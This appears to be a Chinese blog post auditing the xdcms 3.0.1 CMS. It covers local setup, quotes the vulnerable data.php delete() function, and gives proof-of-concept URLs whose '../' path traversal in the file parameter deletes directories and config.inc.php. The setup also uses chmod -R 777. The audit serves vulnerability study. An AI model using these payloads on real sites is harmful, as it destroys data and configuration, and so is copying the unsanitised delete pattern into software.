xdcms3.0.1审计

2022-01-26 21:51:43 浏览数 (1)

  • 环境搭建
  • 后台任意文件上传
  • 任意文件删除
  • 参考

环境搭建

本地环境 Apache/2.4.46 (Unix) PHP/7.2.34

开始安装报错

eregi_replace函数没有定义

php7环境下无法使用eregi_replace函数 需要用preg_replace函数来替换

这里我的办法是修改本地环境为php5 windows上用phpstudy可以直接修改php环境 在linux或者mac电脑上需要修改apache配置文件,然后重启apache /usr/local/etc/httpd/httpd.conf

代码语言:javascript复制
# LoadModule php7_module /usr/local/Cellar/php@7.2/7.2.34_1/lib/httpd/modules/libphp7.so
LoadModule php5_module /usr/local/Cellar/php@5.6/5.6.40/lib/httpd/modules/libphp5.so
保存退出

sudo apachectl restart 重启apache

chmod -R 777 xdcms 修改目录权限即可

配置数据库以及后台密码

后台任意文件上传

添加文件上传格式限制即可

任意文件删除

代码语言:javascript复制
$ sudo chown www asd.php

$ ls -al
total 0
drwxr-xr-x   3 asura  staff   96  4 19 21:56 .
drwxrwxrwx  12 asura  staff  384  4 19 21:21 ..
-rwxrwxrwx@  1 _www   staff    0  4 19 21:56 asd.php
代码语言:javascript复制
/usr/local/var/www/xdcms/system/modules/xdcms/data.php
public function delete(){
  $file = trim($_GET["file"]);
  # trim 一下 移除 字符串两侧的空白字符 n  t x0B r  
  $dir = DATA_PATH . 'backup/' . $file;
  if(is_dir($dir)){
    //删除文件夹中的文件
    if (false != ($handle = opendir ( $dir ))) {
      # 目录 句柄
      while ( false !== ($file = readdir ( $handle )) ) {
        # 读取 目录 下的 文件 
        if ($file != "." && $file != ".." && strpos($file,".")){
          # 文件 不是 . 也不是 ..  并且 文件也有 后缀  也有 .
          echo $dir . "/" . $file;
          echo system("whoami");
          unlink($dir."/".$file);
          // @unlink($dir."/".$file);
        }
      }
      closedir($handle);
    }
    @rmdir($dir);//删除目录
  }
  showmsg(C('success'),'-1');
}

/index.php?m=xdcms&c=data&f=delete&file=../../../

http://127.0.0.1:8886/xdcms/index.php?m=xdcms&c=data&f=delete&file=../../qwe

qwe目录及下面的文件asd.php被删除

http://127.0.0.1:8886/xdcms/index.php?m=xdcms&c=data&f=delete&file=../../data1

删除了data1目录下的config.inc.php

参考

新手入门代码审计(1)--xdcms-3.0.1

xdcms_3.0.1 | 代码审计

https://www.seebug.org/vuldb/ssvid-88734

0 人点赞